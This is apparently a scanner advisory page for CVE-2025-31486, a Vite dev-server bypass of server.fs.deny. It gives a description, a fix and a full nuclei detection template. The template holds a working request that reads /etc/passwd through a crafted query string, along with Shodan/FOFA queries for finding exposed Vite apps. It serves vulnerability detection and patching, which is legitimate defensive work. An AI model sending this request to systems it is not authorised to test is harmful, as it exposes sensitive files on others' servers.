Vite server.fs.deny Bypass - Local File Inclusion

mediumseverity

5.3CVSS score

40.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Impact

Attackers can bypass server.fs.deny restrictions to read arbitrary files smaller than 4kB when the Vite dev server is exposed to the network, potentially exposing sensitive configuration data.

Fix

Update Vite to version 4.5.12, 5.4.17, 6.0.14, 6.1.4, 6.2.5 or later.

How to confirm it

Send: GET {{BaseURL}}/etc/passwd?.svg?.wasm?init
Positive when: contains "import initWasm" and "sourceMappingURL=" AND not contains "/@fs/etc/passwd?.svg" AND contains in content_type "text/javascript" AND status 200

Run it with nuclei: nuclei -id CVE-2025-31486 -u <target>

The full check

id: CVE-2025-31486

info:
  name: Vite server.fs.deny Bypass - Local File Inclusion
  author: wn147
  severity: medium
  description: |
    Vite is a frontend tooling framework for javascript. The contents of arbitrary files can be returned to the browser. By adding ?.svg with ?.wasm?init or with sec-fetch-dest- script header, the server.fs.deny restriction was able to bypass. This bypass is only possible if the file is smaller than build.assetsInlineLimit (default- 4kB) and when using Vite 6.0+. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
  impact: |
    Attackers can bypass server.fs.deny restrictions to read arbitrary files smaller than 4kB when the Vite dev server is exposed to the network, potentially exposing sensitive configuration data.
  remediation: |
    Update Vite to version 4.5.12, 5.4.17, 6.0.14, 6.1.4, 6.2.5 or later.
  reference:
    - https://github.com/advisories/GHSA-xcj6-pq6g-qj4x
    - https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
    - https://github.com/vitejs/vite/commit/62d7e81ee189d65899bb65f3263ddbd85247b647
    - https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31486
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-31486
    cwe-id: CWE-200
    epss-score: 0.40461
    epss-percentile: 0.98658
  metadata:
    verified: true
    max-requests: 1
    shodan-query: title:"Vite App"
    fofa-query: title="Vite App"
  tags: cve,cve2025,vite,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/etc/passwd?.svg?.wasm?init"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "import initWasm"
          - "sourceMappingURL="
        condition: and

      - type: word
        part: body
        words:
          - "/@fs/etc/passwd?.svg"
        negative: true

      - type: word
        part: content_type
        words:
          - "text/javascript"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from